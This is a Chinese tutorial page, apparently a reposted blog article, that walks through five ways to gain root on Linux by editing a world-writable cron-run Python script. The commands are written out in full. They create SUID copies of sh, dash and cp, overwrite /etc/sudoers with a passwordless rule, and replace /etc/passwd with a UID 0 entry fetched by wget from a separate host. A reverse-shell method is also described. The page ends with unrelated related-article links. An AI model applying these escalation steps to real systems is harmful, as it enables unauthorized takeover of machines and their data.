在Linux上通过可写文件获取Root权限的多种方式

在Linux中,一切都可以看做文件,包括所有允许/禁止读写执行权限的目录和设备。当管理员为任何文件设置权限时,都应清楚并合理为每个Linux用户分配应有的读写执行权限。在本文中我将为大家展示,如何利用Linux中具有写入权限的文件/脚本来进行提权操作。好了,话不多说。下面就进入我们的正题吧!

首先,我们来启动我们的攻击机并渗透进目标系统直至提权阶段。这里假设我通过ssh成功登录到了受害者机器,并访问了非root用户的终端。通过以下命令,我们可以枚举所有具有可写权限的二进制文件。

  1. find / -writable -type  f 2>/dev/null | grep -v "/proc/" 

可以看到在/lib/log路径下有一个python文件,我们进入到该目录并查看该文件的权限为777 

通过cat命令查看该文件内容,这是管理员添加的一个用来清除 /tmp中的所有垃圾文件的脚本,具体执行取决于管理员设置的定时间隔。获取了这些信息后,攻击者可以通过以下方式来执行提权操作。 

方法1

我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将 “rm -r /tmp/*” 中的内容替换为以下两行: 

  1. os.system('cp /bin/sh /tmp/sh'
  2. os.system('chmod u+s /tmp/sh'

 

一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限。 

  1. cd /tmp 
  2. ls 
  3. ./sh 
  4. id 
  5. whoami 

下图可以说明一切! 

方法2

同样,你也可以将 “rm -r /tmp/*” 替换为以下内容:

  1. os.system(‘chmod u+s /bin/dash) 

 

一段时间后,它将为/bin/dash设置SUID权限,并且在运行时会给予root访问权限。 

  1. /bin/dash 
  2. id 
  3. whoami 

如下图所示: 

方法3

在这种方法中,我们在 rm -r /tmp/* 的位置粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。 

如上所述,经过一段时间后,我们通过netcat获取了具有root访问权限的反向shell。 

  1. nc -lvp 1234 
  2. id 
  3. whoami 

如下图所示: 

方法4

这个方法挺有意思的,在下图中大家可以看到我当前的用户是没有执行sudo命令的权限的。那我们就想办法让自己成为suoders文件成员。 

同样,我们将 “rm -r /tmp/*” 替换为以下内容:

  1. os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers'

 

过一段时间后,当你输入“sudo -l”命令时,你会注意到,它已成为了sudo用户的成员。此时我们只要输入“sudo bash”就可以获取root访问权限。 

  1. sudo -l 
  2. sudo bash 
  3. id 

方法5

我们知道passwd在任何类linux的系统中都扮演着非常重要的角色,一旦攻击者有机会可以修改此文件,那么它将会成为一种特权提升的动态方式。

同样,我们也不会忽视这一点,使用cat命令读取etc/passwd文件。

在这里你可以观察到用户名为nemo记录的高亮条目,根据我的猜测UID:1000 & GID:1000表示它应该是管理员组的成员。

但我们的目标是通过编辑nemo记录,使其成为root组的成员。因此,我们选择并复制etc/passwd文件内的所有记录,然后将它粘贴到一个空的文本文件中。 

然后在一个新的终端中使用openssl生成一个加盐密码并复制。

  1. openssl passwd -1 -salt abc 123 

 

现在将上面复制的加盐密码粘贴至用户nemo记录条目中的“X”处,并且将UID&GID更改为0,如图所示。操作完成后,将文本文件保存为“passwd”,将该文件传输至目标系统,它将覆盖原始passwd文件的内容。

 

  1. cd Desktop 
  2. python -m SimpleHTTPServer 80 

 

同样,将 “rm -r /tmp/*” 替换为以下内容:

  1. os.system(‘chmod u+s /bin/cp) 

一段时间后,它会启用/bin/cp的SUID位以复制任意文件。 

现在将被你修改过的passwd文件下载至目标系统的/tmp目录中。让我们来检查一下/bin/cp是否启用了SUID位,然后使用cp命令将修改的passwd文件复制到/etc/passwd中,这将覆盖原始passwd文件的内容。 

  1. cd /tmp 
  2. wget http://192.168.1.103/passwd 
  3. ls -al /bin/cp 
  4. cp passwd /etc/passwd 

 

现在,我们键入以下命令查看修改内容是否已在passwd文件中生效。

  1. tail /etc/passwd 

可以看到修改内容已成功写入! 

执行以下命令获取root访问权限: 

  1. su nemo 
  2. password 123 
  3. whoami 

 

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/148825.html<

(0)
运维的头像运维
上一篇2025-03-12 08:13
下一篇 2025-03-12 08:14

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注